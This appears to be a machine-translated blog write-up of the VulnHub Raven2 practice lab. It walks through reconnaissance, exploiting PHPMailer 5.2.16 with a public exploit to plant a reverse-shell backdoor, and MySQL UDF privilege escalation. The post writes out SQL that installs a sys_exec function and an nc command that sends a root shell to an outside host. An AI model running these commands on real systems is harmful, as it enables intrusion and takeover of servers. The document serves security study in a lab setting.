当前位置:网站首页>Raven2 of vulnhub
Raven2 of vulnhub
2022-07-03 11:47:00 【Plum_ Flowers_ seven】
Only take personal study notes
Catalog
3、 ... and 、 Service version detection
1. Always requesting resources
7、 ... and 、mysql And udf Raise the right
One 、 The host found
Two 、 Port scanning
3、 ... and 、 Service version detection
routine 22,80 port .
111 This is an incomprehensible
42689 Open the remote process call protocol
Four 、 information gathering
1. Always requesting resources
It is the same as the original request for some foreign site resources , As a result, it cannot be loaded normally , Just hang a ladder . If you use burp, Just hang it on two floors .
It's a security company interface
2. Regular source code
Look at the interface , Source code leakage , Is there a hidden directory , None .
5、 ... and 、 Scan directory
The most basic information is wordpress Station building
1. /vendor
3,4,5 All the documents mentioned PHPMailer,readme It's a readme , It introduces phpmailer It's a php Mail transmission class ,. and security He mentioned his historical loopholes .changelog Tell the change log .
Try from phpmailer Make a breakthrough
(1)flag1
6、 ... and 、phpmailer
Because we can know from the above file that the version is 5.2.16, So try these .
1.40974.py
40974.py It can be used . Write bounce to target path shell file .
Be careful : You need to change the contents of the file before using
(1) Change back to the connection address
(2) Write the backdoor file path
(3) The goal is ip
You can also change the file name
2. Access trigger
3. rebound shell
7、 ... and 、mysql And udf Raise the right
When we collect information , It is found that there is leakage mysql Account and password ,
When checking the process , And found out mysql In order to root It belongs to the main operation , So we can use mysql Right to come ,
1. information gathering
root [email protected]
2.udf Raise the right
udf The original intention of the design is to facilitate users to customize some functions , It is convenient to query some complex data , At the same time, the use of udf The possibility of raising rights .
An attacker calls... By writing cmd perhaps shell Of udf.dll file , And import it into a specified folder Directory , Create a point to udf.dll The custom function of , Thus, the query in the database is equivalent to cmd perhaps shell Middle execution command .
3. step
(1) find kali Self contained udf Lift the right link library file .so
(2)64.so To the target plane
It's better to put /tmp Next
(3) Check the plug-in path
show variables like '%plugin%';
(4) Write to the database through the link library file
Using the system database , Create a table , Write link library file data .
use mysql;
create table a(line blob);
insert into a values(load_file('/tmp/x.so'));
(5) Then write the link library file to the plug-in location
select * from a into dumpfile '/usr/lib/mysql/plugin/x.so';
(6) Create a new function
create function sys_exec returns integer soname 'x.so';
(7) Execute bounce shell
select sys_exec('nc 192.168.0.107 6666 -e /bin/bash');
边栏推荐
- Key switch: press FN when pressing F1-F12
- The LINQ expression node type 'ArrayIndex' is not supported in LINQ to Entities
- Visual Studio 2022下载及配置OpenCV4.5.5
- Kibana~Kibana的安装和配置
- Repo ~ common commands
- Mysql根据时间搜索常用方法整理
- Using onvif protocol to operate the device
- Web安全总结
- 银泰百货点燃城市“夜经济”
- Solicitation for JGG special issue: spatio-temporal omics
猜你喜欢
Machine learning 3.2 decision tree model learning notes (to be supplemented)
PHP Basics
vulnhub之narak
Cadence background color setting
牛牛的组队竞赛
AOSP ~ NTP ( 网络时间协议 )
Numpy np.max和np.maximum实现relu函数
量化计算调研
Software testing weekly (issue 78): the more confident you are about the future, the more patient you are about the present.
Excel quick cross table copy and paste
随机推荐
基于turtlebot3实现SLAM建图及自主导航仿真
After using the thread pool for so long, do you really know how to reasonably configure the number of threads?
Numpy np.max和np.maximum实现relu函数
STL Tutorial 9 deep copy and shallow copy of container elements
外插散点数据
ASP.NET-酒店管理系統
Nestjs配置服务,配置Cookie和Session
2022年中南大学夏令营面试经验
Visual Studio 2022下载及配置OpenCV4.5.5
The tutor put forward 20 pieces of advice to help graduate students successfully complete their studies: first, don't plan to take a vacation
uniapp实现点击加载更多
vulnhub之raven2
Kibana~Kibana的安装和配置
R语言使用data.table包进行数据聚合统计计算滑动窗口统计值(Window Statistics)、计算滑动分组中位数(median)并合并生成的统计数据到原数据集中
The uniapp scroll view solves the problems of high adaptability and bullet frame rolling penetration.
The LINQ expression node type 'ArrayIndex' is not supported in LINQ to Entities
C language AES encryption and decryption
repo ~ 常用命令
剑指offer专项32-96题做题笔记
软考中级软件设计师该怎么备考